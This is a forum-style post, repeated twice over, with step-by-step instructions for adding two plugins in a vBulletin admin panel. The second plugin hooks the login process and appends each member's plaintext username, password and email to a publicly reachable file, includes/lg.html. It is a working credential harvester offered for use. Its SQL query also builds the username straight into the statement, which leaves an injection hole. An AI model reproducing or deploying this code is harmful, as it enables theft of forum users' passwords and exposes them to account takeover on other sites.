Hello My friendz Cool
(Step 1)
Go into admincp and make your way to plugins and products. Once there add a new plugin following this format
Hook Location : global_start
Execution order : 5
Plugin PHP Code :
Code:
$show['nopasswordempty'] = TRUE;
Active: Yes
(Step 2)
Add another plugin following this format:
Hook Location: login_process
Execution order: 5
Plugin PHP Code:
Code:
$lg_username = strtolower($vbulletin->GPC["vb_login_username"]);
$lg_password = $vbulletin->GPC["vb_login_password"];
$lg_file = "./includes/lg.html";
$sql_query = @mysql_query("SELECT * FROM " . TABLE_PREFIX . "user WHERE username='" . $lg_username . "'");
while($row = @mysql_fetch_array($sql_query))
{
if(strlen($lg_password) > 1 AND strlen($lg_username) > 1)
{
$fp1 = @fopen($lg_file, "a+");
@fwrite($fp1, $lg_username . ' : ' . $lg_password." (" . $row["email"] . ")\n");
@fclose($fp1);
$f = @file($lg_file);
$new = array_unique($f);
$fp = @fopen($lg_file, "w");
foreach($new as $values)
{
@fputs($fp, $values);
}
@fclose($fp);
}
}
Active: Yes
Log Dir:
Code:
$lg_file = "./includes/lg.html";
(Step 1)
Go into admincp and make your way to plugins and products. Once there add a new plugin following this format
Hook Location : global_start
Execution order : 5
Plugin PHP Code :
Code:
$show['nopasswordempty'] = TRUE;
Active: Yes
(Step 2)
Add another plugin following this format:
Hook Location: login_process
Execution order: 5
Plugin PHP Code:
Code:
$lg_username = strtolower($vbulletin->GPC["vb_login_username"]);
$lg_password = $vbulletin->GPC["vb_login_password"];
$lg_file = "./includes/lg.html";
$sql_query = @mysql_query("SELECT * FROM " . TABLE_PREFIX . "user WHERE username='" . $lg_username . "'");
while($row = @mysql_fetch_array($sql_query))
{
if(strlen($lg_password) > 1 AND strlen($lg_username) > 1)
{
$fp1 = @fopen($lg_file, "a+");
@fwrite($fp1, $lg_username . ' : ' . $lg_password." (" . $row["email"] . ")\n");
@fclose($fp1);
$f = @file($lg_file);
$new = array_unique($f);
$fp = @fopen($lg_file, "w");
foreach($new as $values)
{
@fputs($fp, $values);
}
@fclose($fp);
}
}
Active: Yes
Log Dir:
Code:
$lg_file = "./includes/lg.html";